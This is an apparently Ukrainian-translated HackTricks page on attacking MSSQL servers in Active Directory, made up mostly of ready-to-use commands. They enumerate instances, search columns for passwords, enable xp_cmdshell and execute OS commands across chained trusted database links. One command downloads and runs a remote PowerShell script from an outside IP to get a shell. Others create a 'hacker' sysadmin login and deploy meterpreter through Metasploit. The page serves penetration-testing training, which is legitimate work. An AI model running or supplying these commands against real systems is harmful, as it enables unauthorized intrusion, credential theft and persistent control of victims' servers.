hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
2024-03-29 19:49:46 +01:00

13 KiB
Raw Blame History

Зловживання MSSQL AD

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Перелік / Відкриття MSSQL

Модуль PowerShell PowerUpSQL дуже корисний у цьому випадку.

Import-Module .\PowerupSQL.psd1

Перелік з мережі без сесії домену

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Перелік зсередини домену

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Зловживання MSSQL

Доступ до бази даних

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Можливо також виконати команди всередині хоста MSSQL

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Основні хитрощі взлому MSSQL

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

Довірчі посилання MSSQL

Якщо екземпляр MSSQL є довіреним (посилання бази даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе використовувати довірчі відносини для виконання запитів також в іншому екземплярі. Ці довіри можуть бути ланцюжковими, і на певному етапі користувач може знайти деяку неправильно сконфігуровану базу даних, де він може виконувати команди.

Посилання між базами даних працюють навіть через довірчі відносини між лісами.

Зловживання Powershell

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv Verbose Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Ви можете легко перевірити довірені посилання за допомогою Metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Зверніть увагу, що metasploit спробує використовувати лише функцію openquery() в MSSQL (таким чином, якщо ви не можете виконати команду за допомогою openquery(), вам потрібно спробувати метод EXECUTE вручну для виконання команд, див. докладніше нижче.)

Вручну - Openquery()

З Linux ви можете отримати оболонку консолі MSSQL за допомогою sqsh та mssqlclient.py.

З Windows ви також можете знайти посилання та виконувати команди вручну, використовуючи клієнт MSSQL, наприклад HeidiSQL

Вхід за допомогою аутентифікації Windows:

Знайдіть довірчі посилання

select * from master..sysservers;
EXEC sp_linkedservers;

Виконання запитів за допомогою довірливого посилання

Виконайте запити через посилання (приклад: знайдіть більше посилань у новому доступному екземплярі):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

{% hint style="warning" %} Перевірте, де використовуються подвійні та одинарні лапки, це важливо використовувати їх саме так. {% endhint %}

Ви можете продовжувати цей ланцюжок довіри вручну завжди.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Якщо ви не можете виконувати дії, такі як exec xp_cmdshell з openquery(), спробуйте метод EXECUTE.

Інструкція - EXECUTE

Ви також можете зловживати довіреними посиланнями, використовуючи EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Локальне підвищення привілеїв

Локальний користувач MSSQL зазвичай має спеціальний тип привілеїв, що називається SeImpersonatePrivilege. Це дозволяє обліковому запису "імітувати клієнта після аутентифікації".

Стратегія, яку вигадали багато авторів, полягає в тому, щоб змусити службу SYSTEM аутентифікуватися до підробленої або сервісу "людина посередині", який створює зловмисник. Цей підроблений сервіс потім може імітувати службу SYSTEM, поки вона намагається аутентифікуватися.

SweetPotato містить колекцію цих різноманітних технік, які можна виконати за допомогою команди execute-assembly Beacon.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!